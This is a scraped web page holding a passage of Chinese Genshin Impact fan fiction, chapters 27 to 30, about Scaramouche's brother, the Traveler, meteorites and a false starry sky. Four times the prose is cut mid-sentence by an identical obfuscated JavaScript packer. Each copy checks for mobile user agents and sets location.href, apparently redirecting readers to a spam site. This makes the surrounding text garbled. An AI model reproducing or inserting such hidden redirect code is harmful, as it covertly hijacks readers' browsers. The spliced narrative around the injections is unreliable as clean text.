“当人们得知占卜结果,再对其做出改变,这何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908158|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝不算命运的一种,可如果不知命运,是否就有跳出命运的可能性?”韦尔奇笑盈盈地说,“我所看不透的地方,或许正是你改变的未来。” 月见里清也本就是随口一问,没想到对方说出一堆不知所云的东西,皱眉等着韦尔奇的下文。 韦尔奇说:“请原谅一位老头子的任性,我知道你不相信预言,但还是花点时间听我唠叨几句,这算是一点职业病,在这些重大命运面前,总想有点参与感。” 月见里清也冲他比了一个“请”的动作。 韦尔奇思量许久才说,“你所行的一切都是铺就未来的基石,终有一日你会撕裂苍穹的一角,为你的至亲揭露命运的真容。” 月见里清也神色一变,“这是我的未来?” “不,我看不透你的未来,只能为你留下一句有关它的谶语,毕竟这是你选择的道路。”韦尔奇说,“至于你的未来有多种可能性,我不能妄言,或许你会成为救世主也不一定。” 月见里清也只觉他在开玩笑,好笑道:“你参悟了我的未来,应该了解我是什么样的人吧,我去救世,不觉得荒唐吗?” 月见里清也并不是一个博爱的人,跟他无关的事从来都是一副兴致缺缺的样子,能触动他的事物很少,所以他并不会因为众生苦难,选择去当救众人于水火中的救世主。 “别妄自菲薄,孩子。但面对未来时,保持自我,别让自己做出后悔的决定。”韦尔奇收起桌上的星图,点到即止,“那接下来说正事吧。” 不需要询问,韦尔奇一早就知晓他的来意,“在一开始我提到过,你的命之座就是这星图,而这星图是从天上映射下来的。” “这不仅仅占星学上的概念,命星是真实存在的,数以万计的命星组成了星空,与其说我们是在预测命运,不如说是在‘解读’命运。” 韦尔奇就解释这么多,他不收报酬,月见里清也的命运就已经是他收到最好的报酬了。 月见里清也听完后眉头紧皱,韦尔奇虽没将话完全说明白,但稍加联想,关于陨石的真相基本已经浮出水面。“你的意思是,这场流星雨不过是某个人的命星因某种原因,从星空上掉了下来。” “很聪明。”韦尔奇赞许道。 月见里清也说:“也就是说,陨石其实就是命星,梦里的场景不过是其主人的人生经历。” 韦尔奇答道:“的确如此,准确地说是其主人的执念。” “那……”月见里清也斟酌了一下说法,“既然可以解读命运,是不是可以代表,命星已经刻好了每个人的命运。” “这我不能说,孩子。”韦尔奇一副高深莫测的表情看着他,“星空要远比我们想象中的复杂。” 在月见里清也离开后,韦尔奇没忍住又打开了那副星图,其中散落的命星已经被“愿望”连接成命之座。 他忽然发现自己并非看不透那一小部分,只不过需要多费一些功夫。 就当他参透了大部分数据准备和剩下部分联系转化成前因后果时,桌上的天文用具发出“砰”地一声,某个零件突然弹出,掉落在桌面上。 天文仪器都是十分精密的仪器,零件缺一不可,随着零件掉出,桌面上的星图瞬间消失的一干二净。 韦尔奇事先并没有记录数据,他没有第一时间抢修仪器继续研究,反而惊魂未定的拍了拍胸口。 他活了这么大岁数,进行的占卜他自己也数不过来,仪器在占卜过程中突然损坏只有一种可能——他有可能占卜到了某些高位格的存在。 27.初遇旅行者 月见里清也离开时换了一条与来时不同的路,准备由石门前往蒙德与散兵汇合,还在路上汇报了占星术的相关消息。 还没走几步,月见里清也被前方的几个身影吸引了注意。 意识到那个身影是谁后,他脚下方向一转,背靠在后,将自己的身影隐藏在灌木后。 眼前的几人中,金发紫衣少女身上的神之眼闪闪发亮,由她带头率先向着某个方向跑去。 吸引月见里清也目光的并不是这位带队的少女,反而是队伍中的金发少年和飘在半空中的同伴。 月见里清也虽没见过蒙德的荣誉骑士长什么样,但从收集到的情报与愚人众流传的消息来看,眼前这位少年多半就是本人了。 只需一瞬,月见里清也在心里拿定了主意。 他起身顺着几人方向追过去,但他并不打算打草惊蛇,只是远远跟着。 能跟神之眼发生共鸣的陨石往往不会离神之眼持有者太远,旅行者一行人跑了没一段距离就到了目的地。 却不想那里的陨石已经被人捷足先登了,月见里清也看清对方的衣着后眼皮一跳,心说这可不太妙。 他们撞上的人正是第六席派出的先遣队中的某一支小队,介于在蒙德发生的事,旅行者对愚人众自然是没什么好话可说,提剑就上。 月见里清也对自己手底下的士兵水平还是有数的,就这三瓜俩枣的基本是别想从旅行者手里讨到便宜。 但他不能在这眼睁睁地看着手下挨揍,一番思索后,召出自己的长刀,看准时机加入了这场混战。 在先遣队里有会使用火铳的游击兵,他们往往会选择后方作战,由同伴吸引火力,自己则看准时机给对方致命一击。 但这次火铳游击兵的子弹并未击中目标,子弹在击中的前一刻被不知道从哪里出现的水光悉数拦下,子弹上裹挟的火元素将这道流水击蒸腾成水汽,在太阳光下折出隐隐虹光。 虹光顺着子弹来时的方向,将承受的伤害通通返还给火铳兵,正当他踉跄之间,铳枪上方水线交织,月见里清也闪身而出,踩在火铳兵配枪上短暂借力,抬手对着他做了个噤声的手势。 见火铳兵将马上脱口而出的“大人”又给咽了回去,月见里清也放下心,手上的动作却没有丝毫迟疑,一个翻身就将火铳兵踹了出去。 他没忘收力度,加上又给对方用了水元素做缓冲,这一脚看似很使劲实际伤害却没多少。 有了月见里清也这个搅浑水的加入,局面虽然看着更加偏向旅行者一行人,但先遣队受到的实际伤害却大大降低。 由于火铳兵本来就远离战场中心,空一行人没注意到月见里清也一开始和火铳兵之间的小动作。 一早退场的火铳兵不知和队友说了什么,先遣队其他几人都没有点破月见里清也的身份,放了几句狠话后落荒而逃。 月见里清也:“……” 其实也不用演的那么像个打架打输了的小孩的…… “这些愚人众真是没完没了,打走一波又来一波。”跟在空身旁的派蒙在半空中跺了跺脚,有些生气的说。 月见里清也注意到她话中的“又”字,问道:“你们之前也碰到了愚人众?” “对啊,不过谢谢你刚才的出手相助。”派蒙看向月见里清也,盯了两三秒后突然瞪大了双眼,“哎?!!” 一开始派蒙注视他的时候,月见里清也本以为自己脸上沾了什么东西,但见派蒙反应这么大,他不免有些警惕。 他悄悄地攥紧了青璃谭,以防身份被堪破后对方突然对他出手,面上依旧挂着友好的笑容问道:“我脸上是有什么东西么?” “不不不,只是看你很眼熟,像我们前不久刚认识的一个人,但仔细一看又不是很像了。”派蒙解释着,注意到月见里清也的衣服样式,“你也是从稻妻来的?” 寻常人第一次见月见里清也和散兵时都会觉得他们长的极为相似,如果经过仔细观察就会发现他们二人五官走向并不同。 虽然经常会被夸赞相貌出众,但兄弟二人却不同风格的好看,散兵长相精致又俊美,五官教人挑不出一丝不足,眉目间经常带着几分傲气。 月见里清也则是全靠一双漂亮的狐狸眼,眼尾略微上挑,即使与对方不相识,那双眼也含着三分笑意,看着像个玩世不恭的公子哥。 空一行人并没有说月见里清也与谁长得像,却并不妨碍月见里清也从中提取出了他们已经见过散兵的事实,“我叫月见里清也,是从稻妻来的。” 等对方几人做完介绍后,月见里清也才对他们话中的浮浪人展现了几分好奇,“你们刚才说遇到了与我十分相似的人,能方便跟我说说详情吗?” “深邃的梦魇之兽将灾难之种散播到世间,让周边居民陷入无尽灾厄,本皇女受人所托,来寻找解救陷入无妄之灾的可怜之人。”菲谢尔解释道,“来到此地时,那稻妻的浮浪人早就提前一步,将那灾厄之种肃清。” “嗯???”月见里清也听完后一头雾水,一大段话只大概听懂后半句,他哥应该是遇到了他们并顺手帮了个忙。 “别在意,菲谢尔的说话方式就是这样的,没有其他意思。”空看到月见里清也的表情,哭笑不得的解释道。 奥兹在一旁翻译,“小姐的意思是,我们受晨曦酒庄之托,来到璃月寻找他们送货的工人,那位工人受陨石的影响昏迷不醒,等我们到时,那位同样来自稻妻的少年已经先一步将陨石处理了。” 月见里清也这下终于听明白了,他向众人略微一点头。 派蒙却说:“但是他没有告知我们他的姓名,你认识他吗?” 两人长相相似,说没关系怕是没人会信,关于这一点月见里清也一开始就不打算瞒着,“你们遇到的,应该是我的哥哥。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915253|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哎???”派蒙有些震惊,不过很快也想明白了,“也是呢,毕竟你们长得这么像。” “听说蒙德龙灾结束,我们本想一同去往蒙德,但我在途中被一些事情绊住了脚,所以让他先行一步,不曾想几位也碰见了他。”月见里清也三言两语就将散兵和他描述成了前往蒙德旅游的行人。 “嘿嘿,这么说你们兄弟两个都帮了我们的忙呢。”派蒙笑着说。 “那你在途中有没有见过和我长得像的人?但她是女孩子,头发是短的。”空边说边比划了一下,示意头发大概的长度。 派蒙忙插话道,“是他的妹妹哦。” 空在蒙德城里张贴寻人启事寻找血亲之事月见里清也早就通过暗线知晓,只是在他印象里自己并没有见过金色短头发的女孩子,也没有收集到过相关情报。 他只好摇了摇头,如实说道:“抱歉,我好像并没有见过你的妹妹。不过,我会帮你留意一下的。” 找人之路并不会一帆风顺,这是空一早就想到的,他对月见里清也笑了笑说:“没关系。” 月见里清也此番的目的就是来测测空一行人的虚实,得知他们还未将陨石与占星术和命运联系起来后,他的目的已经达到,以自己要去找哥哥为由,告别了众人。 双方并不同路,月见里清也等到再也看不见空和菲谢尔的身影时,才开口说:“出来吧,别藏着了。” 一开始装作落荒而逃的先遣队成员从阴影里出现,列队行礼,“大人。” 月见里清也问小队队长,“留在璃月的先遣队还剩多少?” “大部分都跟着执行官大人去蒙德了,还剩几支队伍在璃月荻花州和归离原附近。”队长回答道,见月见里清也盯着空一行人消失的方向看,忍不住揣测他的意思,“大人,需要我们安排更多人手对他们出手吗?” 先遣队的士兵大多数都是新兵,老兵是断不可能说出这样的话来的,月见里清也瞥了他一眼,“安排人手干什么?你是生怕对方不知道第六席带了主力过来,还是怕对方不知道散兵大人在这?” 单凭散兵没一上来就对空动手,就说明双方还没到撕破脸的程度,虽然月见里清也暂时不清楚他对空的下一步打算,但少生事端以防马甲被扒准没错。 “可……他们不应该早知道了吗?”小队长有些不解。 月见里清也闻言一愣,皱眉问道:“怎么知道的?” “那位旅行者之前已经打跑了一队人,那支队伍在逃跑前放狠话说‘我们执行官大人也在这里,你们小心点’之类的。”小队长将情形简要的复述了一遍。 虽然每支先遣队执行任务的地点不同,但这种八卦消息很是灵通,他们刚刚演的那出逃跑,多多少少就有借鉴了那支队伍的意思。 月见里清也听完后眼前一黑,“……” 这是从哪里招进来的大漏勺! 28.未归的熄星 好在旅行者一行人忙着处理眼下的陨石,没有顺着这条线扒拉这位执行官到底是谁。 差点被爆马甲的月见里清也脸色说不上好看,他询问了那支先遣队小队长的名字,准备留着秋后算账。 眼下陨石迷雾逐渐清晰,用不着这么多人手加班加点的研究陨石了,他将留在璃月的队伍全都打发回船上,自己前往蒙德跟散兵汇合。 蒙德被陨石影响的范围不比璃月小,月见里清也虽和散兵事先约定了大致汇合地点,赶过去依旧废了些时日。 但等他到了那里,却发现此地空无一人,只剩下几个战战兢兢的小士兵。 一见小士兵这幅样子,月见里清也了然,知道这士兵绝对在不久前被散兵骂过,“大人去哪了?” 小士兵回道:“执行官大人几分钟前刚离开,临走时托我给您带个话,让您带着部队去最新的陨石落点支援。” 月见里清也不解:“怎么走得这么急?” “本来是大人是打算等您到了之后再一起行动的,但中途遇到了蒙德的荣誉骑士一行人,其中有个占星术士好像认出大人来了,带着他们逃走了,大人为了抢占先机只好先行一步。” 刚刚见过一位占星术士的月见里清也丝毫不惊讶散兵的身份被识破,一边吩咐士兵集合队伍,一边在心里想不愧是荣誉骑士,人脉还挺广。 靠着神之眼和陨石产生的奇特共鸣,月见里清也迅速定位到那颗陨石的落点,在距离鹰翔海滩不到一海里的小岛上,从地图上得知,这里被称为马克斯礁。 若不是因为这最后一块陨石降落在这,远离蒙德大陆的马克斯礁很可能现在都无人踏足。 也不知散兵前一秒说了些什么,旅行者与他身边的占星术士脸色为之一变,纷纷召出自己的武器。而另一边的散兵却兴致缺缺,他脸上的倦容未退,一副根本不想与他们多谈的样子。 月见里清也来不及思考,迅速闪至众人眼前,不动声色地挡在散兵身前,“我们暂时没有恶意,何必舞刀弄枪的?” 派蒙的注意力迅速被月见里清也引走,她惊讶出声:“啊!是你!你们这些坏家伙又准备搞什么名堂!” “哎呀,已经把我划分到坏蛋一类里了吗?”身份暴露的月见里清也在他们面前一点也不心虚,还有心情调侃,“不过这次你们可要失望了,我们只是进行一项普通的科学研究而已。” 原本默不作声的空突然开口说:“在抢走风神之心前,你们也只是说这是一项普通的外交。” 派蒙附和道:“就是就是,这话留着骗鬼去。” “啊,第八席啊。我有必要说明,女士本人的行为不代表第六席。”月见里清也维护完第六席,转头对着另一位还没有说过话的占星术士说,“那边的占星术士小姐,我不知道你从执行官大人身上看到了什么,总之应该没有我们大打出手的命运?” “当然,如果你们想动手,我也奉陪。” 此话一出,空与莫娜更加戒备。散兵却突然按住月见里清也想要拔刀的手,“别紧张,就如我之前所说,我时间很紧,不想在你们这里浪费时间。” 月见里清也略带疑惑地看向散兵,发现他脸上的焦急不假,不像是脱身的借口。 但即使离开,散兵也不忘开口讥讽一二,“那么再见了,菜鸟们,自己去找寻真相吧。” 说完他一把扣住月见里清也的手腕,压低声音有些急迫道,“换个更快的。” 没搞懂他想干什么的月见里清也:? 雷元素萦绕在二人身上,散兵没有给空一行人反应时间,也没有给月见里清也准备的时间,化作一道雷光,片刻后就消失在空一行人的视野里。 他没选择返回鹰翔海滩,直接提溜着月见里清也回了璃月港,至于马克斯礁上的残局就留给士兵解决。 有时候月见里清也也会选择用元素力进行长距离穿梭,但他还没疯到和散兵一样从蒙德千里奔袭回璃月。 月见里清也脑子里关于星空和陨石的那点问题全都被甩飞出去,双脚踏上实地的时候脑子里只剩下一个念头:活着真好。 如果不是距离限制,月见里清也毫不怀疑散兵会直接飞回至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920120|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬,直接踹开丑角办公室的大门。 他缓了片刻,才把两腿发飘的感觉给压下去,抬头看向不远处的散兵,“你从陨石里看到了什么?还有什么真相需要确认?” 回答他的只有海浪的声音,散兵根本没理他。 “哥哥?哥!”月见里清也喊到。 散兵依旧没说话。 月见里清也:“……” 他哥聋了。 “你是研究陨石已经到了一种忘我的境界了吗,散兵大人?”月见里清也忍无可忍,直接喊道,“斯卡拉姆齐!” 这一嗓子给散兵喊回神,他看向月见里清也问,“你刚才说什么?” “……算了。”月见里清也气结,郁闷地说,“我说,你到底在那块陨石里发现了什么,才让你这么不对劲,我以为你会对旅行者做些什么,结果你什么都没干。” 提起这个,散兵有些无奈,“说来话长,但跟星空的真相相比,总要做出些取舍。” 散兵接着说道:“星空本身,就是个谎言。” 月见里清也问道:“什么意思?你是说……星空是假的?” “在旅行者到来之前,我先一步接触了那块陨石,结合你送来有关命之座和命星的情报,我推测出了一些……”散兵斟酌了一下用词,“非常规的事情。” “由此可见常识未必就是正确的,或者说,我们以为它是正确的。” 月见里清也把这话在心里过了两遍,明白他哥话里有话,“你是想说,某些存在用常识遮盖真相,好让人们不探究、不追问。” 就像人不会问自己为什么饿了要吃饭,受常识的影响,人们总是下意识的忽略很多事情,哪怕这些事细想之下并不合理。 这次的陨石同理,命星真实存在于星空,平日里抬头见到的星星都有可能是某个人的命星。 人们知道占星术士可以靠解读命星来观测他人命运,可他们却不能回答这些命星从而而来?又怎么会记录人们的命运? “所以我才要去确认。”散兵默认了这一说法,“回去跟你细说。” 29.虚假之天 天色已晚,二人随便选了一家旅店,把房门一关,将外边的声响都隔绝在门外。 月见里清也这才开口问道:“你刚刚当着他们的面说的那些话,是不是在说这次陨石并不是什么巧合,和之前猜测的那样,是故意派你来的?” “嗯,可真是给我准备了好大一份惊喜啊。”散兵似笑非笑说着,“或许丑角那家伙出发点是好的,但我建议别出发。” 月见里清也熟门熟路地用起房里的小炉子烧水煮茶,“说说吧,到底你在陨石里看到了什么能让你这么魂不守舍?” “魂不守舍”这一说法显然有失偏颇,散兵闻言眉梢微挑,但最终没纠正他这个说法:“那块陨石并没有什么独特的能力,只不过它承载的记忆更多,能让接触的人看到更多。” “所有入梦的人都说自己行走在雪山里,只是因为,这颗命星的所有者毕生的愿望是爬上那座雪山的顶峰,执念太深,导致接触到命星的人都到影响,才有了这场共通的雪山梦境。” 月见里清也等着他的下文,散兵却话锋一转,“一个人产生过深的执念,或者说愿望,在提瓦特会发生什么呢?” 月见里清也手上动作一顿。 过深的愿望会发生什么?他可太清楚了。 他将烧沸的水从火上移开,语气平淡:“会引来神明的注视,这位攀登者会拥有自己的神之眼。” “不错,他的愿望换来了神之眼,但与此同时,星空也回应了他的愿望。”散兵说,“他的愿望将他自己与星空彻底的绑定在了一起。” 散兵的话语让月见里清也如芒在背,他从来没觉得自己的神之眼存在感这么强过,“怎么说?” “在他拿到神之眼的一瞬间,他的愿望将命星链接在了一起,组成了占星术士口中常说的‘命之座’。”散兵说,“如果事情到这里结束,我也不会发现这个秘密,但很遗憾,这之后才是丑角为我准备的惊喜。” “梦境里的故事结束后,有人通过某种手段介入,跟我说了一句话。”散兵皱眉回忆着,“愿望让众生不再平凡,但代价却是将自己的命运锚定在虚假的星空之上。” 月见里清也差点失手将茶盏打翻,幸好茶盏没有水,他默不作声的将重新倒好的茶水递给散兵,神色有些凝重,“你认真的吗?” 散兵反问道:“我看着像在开玩笑?” “……”月见里清也抬手做了个暂停的手势,“你让我缓缓。” 怪不得占星术士口中经常说“天命既定”。 半晌后,月见里清也才开口道:“所以你才会说‘星空本身就是个巨大的谎言’,因为那不是真正的星空,只是一个呈现了所有人命运的产物。” “既如此,真实的星空是什么样的?为什么会被隔绝?”散兵冷静分析着,说出的话却让人不寒而栗,“我并不觉得将命运锚定在星空上是一件好事。” 在获得神之眼的那一刻,命星汇聚成命之座,被锚定在星空之上,不会再出现偏移。而拥有神之眼,就代表明确了自己心中的“道”。 但这世上不乏意志坚定,能力强大之人,为什么只有神之眼拥有者的命运才会被锚定在星空之上? 仔细想来唯有“愿望”二字。 神之眼持有者都拥有一个达到极致的愿望,为此甚至不惜付出自己的生命,将这愿望贯彻自己的一生。 锚定在星空之上看似是为其的奖励,但按照轨迹行驶下去,不会发生偏移的命运,真的是一件好事吗? 创造记录着提瓦特所有生灵命运的“星空”并创立法则维持运行,能做到这种程度的必然是某个高位存在,祂的权能甚至超越了尘世七执政。 祂为什么要这么做,星空到底还存在着多少鲜为人知的秘密? 随着而来的问题越来越多,但这些问题都不能用目前已知的情况来解释,加上这件事的本就是丑角故意为之,也难怪散兵会着急回至冬求证。 得知这些内容后月见里清也彻底没了玩乐的心思,就等明日队伍都集合完毕返回至冬,但不曾想第二日一早,他们返回船上时见到了一个完全出乎他们意料的人。 第八席执行官『女士』。 月见里清也怀疑自己眼花,特意揉了揉眼,再一睁开发现她还是站在那里,或许是因为等久了,神色有些不耐。 “怪了,她来璃月干嘛?”月见里清也嘟囔着。 女士出现在这肯定不是来跟他闲聊的,这就意味着要花费好些时间才能打发她走,被绊住脚步的散兵脸色甚至比女士还难看,“啧,碍事。” 就像月见里清也不喜欢第二席执行官一样,散兵对第八席和十一席执行官可以说是毫无好感。 当然月见里清也自己也说不上来第六席跟那几个席位关系好就是了。 女士自然是无事不登三宝殿,她跟散兵关系算不上好,也不打算寒暄,开门见山道:“上次跟你说的提议,你考虑的怎么样?” “不怎么样,我说过我不喜欢给人收拾烂摊子。”散兵一口回绝。 女士说:“是吗?可我看你给你弟弟收拾的挺熟练的,我以为你喜欢干这种事呢?” 月见里清也的官职与实权不对等,在第六席还好,其他地方都看他不顺眼,他有自知之明,给两人倒了一盏茶后,就没往跟前凑给自己找不痛快,但架不住自己就是个实打实的活靶子。 苍天可鉴,自己除了刚上任那把火烧的特别大之外,就没干过其他出格的事。 纯属污蔑! 散兵听完只是笑了笑,并不生气,“没想到女士这么关心别人的家事,是羡慕我有弟弟相陪,还是觉得自己活了几百年太孤独了?” “哼,牙尖嘴利。”女士知道从散兵嘴里讨不到什么便宜,不跟他一般见识,“算了,我没空跟你争口舌之快。” “原来这就是你求人办事的态度?巧得很,我今天也没空陪你玩。”散兵讥笑道,“还是说第八席没有自己船?我可以勉为其难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927138|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捎你一程。” “收起你那虚伪的好心吧,早回至冬也吃不着庆功宴不是吗?”女士听懂他话里逐客的意思,哼笑一声,“另外,我这不是再跟你商量,是告知。” 但散兵偏偏不吃这一套,“少用这种语气跟我说话,想要我帮助?可以,自己去丑角那里打报告。” 不等女士回话,散兵慢条斯理地下了逐客令:“门在那里,恕不远送。” 两人不欢而散,等到女士带着自己手下离开,月见里清也才把冷掉的茶水倒掉,换上新的,“她不是刚处理完蒙德的事吗,怎么还留在璃月,准备抢公子的工作指标?” 在愚人众现任的执行官里,除了统括官丑角、负责机动待命的第六席、和身为市长的第五席以及暂时没有任务安排的少女和木偶,其他的执行官都接到了关于其余六国的任务。 比如前往蒙德夺取风神之心的女士,刚来璃月不久的公子。 现如今风神之心已到手,女士不回至冬复命反而留在璃月,确实不怪月见里清也会这么想。 而散兵只是似笑非笑地看着他,仿佛无声的赞同月见里清也的猜想。 “……”月见里清也在心里默默地为公子默哀了一下,不知道为什么,总觉得在玩心眼的方面,公子玩不过女士。 “不止璃月,女士似乎还想把稻妻也揽到自己身上。”散兵有些疲惫地揉了揉额角,“她准备在稻妻的八酝岛开个邪眼工厂。” 一牵扯稻妻,月见里清也立马打起十二分精神来。 在夺取神的权柄计划刚刚实施的时候,他也曾幻想过散兵会因为熟悉稻妻而被授予夺取雷神之心的任务。 但散兵心中的执念不光月见里清也清楚,愚人众内部同样门清。 最终以第六席机动待命为由,不参与任何关于其他六国的计划。 如果女士真的要在八酝岛建工厂,她去稻妻多半是十拿九稳的事。所以散兵才会拒绝向她提供帮助,毕竟现在答应了,只是同事之间的私事。 而去向丑角打报告就不一样了,从私事变为公事,散兵稍加运作就能给自己争取到一个前往稻妻的正式名额。 似乎是觉得并不稳妥,散兵沉思片刻说:“清也,你的眼线可以渗透进稻妻,对吧?” “虽然眼下稻妻施行锁国令,但总有人会冒险偷渡。”月见里清也说,“对我而言不是难事,怎么?” “稻妻局势复杂,建工厂诸事不宜啊。”散兵回道。 月见里清也心下了然,毕竟稻妻局势不比蒙德与璃月,女士独自一人终会分身乏术,到那时她就“不得不”申请第六席援助了。 “说了这么多。”散兵突然抬眼看他,不紧不慢地说,“你好像并不惊讶工厂可以开设在稻妻?” 月见里清也一愣,“什么?” “邪眼一向只在至冬本地生产制造,制造方法从不外泄,但稻妻却能在开设工厂。”散兵说,“你是不是早就知晓邪眼的原材料是什么了?” 30.邪眼和神之眼 月见里清也叹了口气,大大方方承认了。 反正他又没被着他哥偷着用邪眼,心虚个啥。 总之这事说起来有点麻烦,起因还得追溯到清剿旧贵族时期,月见里清也大体整理了一下思路,才开口道:“你还记不记得,在我昏迷五年醒来后,你曾经很抗拒我使用邪眼?” 散兵当然记得,只不过因为后面月见里清也有了自己的神之眼,他也就没再关注。 “我当时觉得奇怪,但没来得及细想。直到你被贵族设计受伤后,你才和我说,那场意外导致我的核心受损,虽不是很严重,但二次修补的核心禁不起魔神残渣的侵蚀。”月见里清也说。 原本月见里清也没有将这两件事关联起来,直到不久后他顺手给一个士兵指点元素力使用,为了图省劲直接催动士兵佩戴的邪眼,紧接着心脏抽痛,他这才意识到不对劲。 邪眼这东西在他还是士兵时期就经常用,从来没有发生过类似的症状,思来想去,只能将邪眼与魔神残渣划等号了。 不过在月见里清也强烈的求生欲作用下,他坦白时隐去了一些不必要的细枝末节,比如:偷着用邪眼进行实验来确定是不是这一原因。 “总之,我研究了一番,发现里面的某种材料与晶化骨髓高度相似。” 稻妻虽没有受魔神残渣影响陷入狂化的魔物,但稻妻有一种因魔神残渣而产生的特殊矿石,名为:晶化骨髓。 二人对晶化骨髓并不陌生,它又名“玉刚”,早在四百年前就被稻妻踏鞴砂的刀匠引入锻刀技术中,利用晶化骨髓来提高刀的品质。 月见里清也和散兵沉默片刻,只不过时隔久远,两人的心绪没有太大波动。 “事情就是这样。”月见里清也一摊手。 见月见里清也对邪眼的兴趣没有死灰复燃,散兵松了口气,他对此时并不意外,毕竟只有在深入了解过后才能发觉其中利弊,选择没有任何副作用的神之眼才是明智之举。 只是眼下从陨石里调查处的事情来看,拥有神之眼也不一定是一件百利无一害的事情。 月见里清也见他眉头微皱,就知道散兵又开始想工作上的事了,忍不住伸手将他的眉心揉开:“好了哥哥,我知道你是咱们愚人众里数一数二的劳模执行官,但请你给自己留出休息时间。” 等散兵回过神来,发现月见里清也正审视着自己,疑惑道,“看我干什么?” 月见里清也收回手故作沉思道:“我现在才发现,在夺取七神权柄这件事上,女士简直是翻版的你。” “哈?在你心里我跟那家伙是一样的?”散兵神色不悦。 “你知道我不是那个意思。”月见里清也挑着眉说,“我是说这股痴迷工作的架势,马上就要赶上咱们全年无休的劳模第六席执行官了。” 愚人众内部并没有什么评选劳模的活动,所谓的“劳模”不过是月见里清也对散兵这些年来不是下深渊就是执行各种任务,忙到不休息的这一行为的一种“戏称”。 月见里清也对散兵这种忙起来不管不顾不要命的工作态度颇有微词,强行收起桌上的文件,把他往床边一推,“睡不着也闭目养神去。” 散兵:“……” 这是要造反吗? 千篇一律的海面自然不如陆地有看头,来时坐船的新鲜劲一过,回程可以说是相当无聊。 然而就是在这样无聊透顶的环境里,月见里清也目瞪口呆地看着他哥将陨石的调查报告给写完了。 ……果然,愚人众里最卷的还得是他哥。 毕竟这种递交上去的汇报公文要求最为繁琐,标题到正文就有一套复杂的格式,行文要求简练、准确和得体,还要避免口语化和不必要叙述,确保公文的专业性和正式性。 这还仅仅是月见里清也交给散兵的公文要求,散兵的汇报公文是要交给女皇或者统括官丑角的,要求只会更高。 能在这么无聊的路上写完更加费脑子的汇报公文,每次都汇报工作前几个小时里把书面文件紧急赶完的月见里清也简直自愧不如。 像是为了故意报复月见里清也早晨没大没小的行为,散兵使用了作为哥哥和监护人的特权,有学有样的把月见里清也按在办公桌前,逼着他开始写工作报告。 月见里清也:“……” 出来混早晚都得还,犯的贱早晚都会扎自己身上。 两天后,船只停泊在至冬港口。月见里清也本想让散兵回家歇一会再说汇报任务的事,但散兵下了船就直奔愚人众总部,他想拦也拦不住。 月见里清也无法,只能将跟着的士兵打发回第六席基地去,自己跟着散兵一道去。 他的官职不够,自然不能跟散兵一同进去,只能在门外待着。 月见里清也在门外当了一会“门神”,想到这场对质或许要持续很长时间,便退到长廊上,想到外边透透气。 刚刚他们进来时没有任何人通报,一路畅通无阻。这显然是丑角之前吩咐过的,他知道散兵回到至冬后一定沉不住气直接来找他,并且对毫不掩饰自己是故意派散兵去调查陨石的。 可让散兵接触星空与陨石一事的目的是什么? 作为被创造者抛弃的造物,散兵同月见里清也一样,在被抛弃的那一刻就失去了被赋予的意义。但就是没有意义的月见里清也,却成为了占星术士口中无法参透未来的存在。 月见里清也忍不住想,倘若他真的救世,那恐怕只有一个诱导因素——散兵。 所以散兵命星又会昭示出怎样的命运? 会和“救世”有关吗? 在愚人众里,大家对丑角对的印象除了他是统括官,就只剩下“神秘”二字,仿佛所有人都对他知之甚少,就连作为执行官的散兵都对他不甚了解。 但可以肯定的是,他能作为统括官,实力必然强悍。 所以,丑角是在几百前就已经知晓散兵的命运,才会邀请他们加入愚人众? 明明是阳光明媚的正午,这个想法却让月见里清也不寒而栗,他有点没法形容现在的感受,仿佛世界已经变成了巨大的棋盘,各方势力相互角逐,而他和散兵早就深陷其中了。 令人意外的是,散兵和丑角的交谈并未持续多久。月见里清也强行带着散兵翘了半天班,路上一直在偷偷打量着散兵的神色,很平静,平静得就像什么事都没发生。 这看起来似乎是一件好事,散 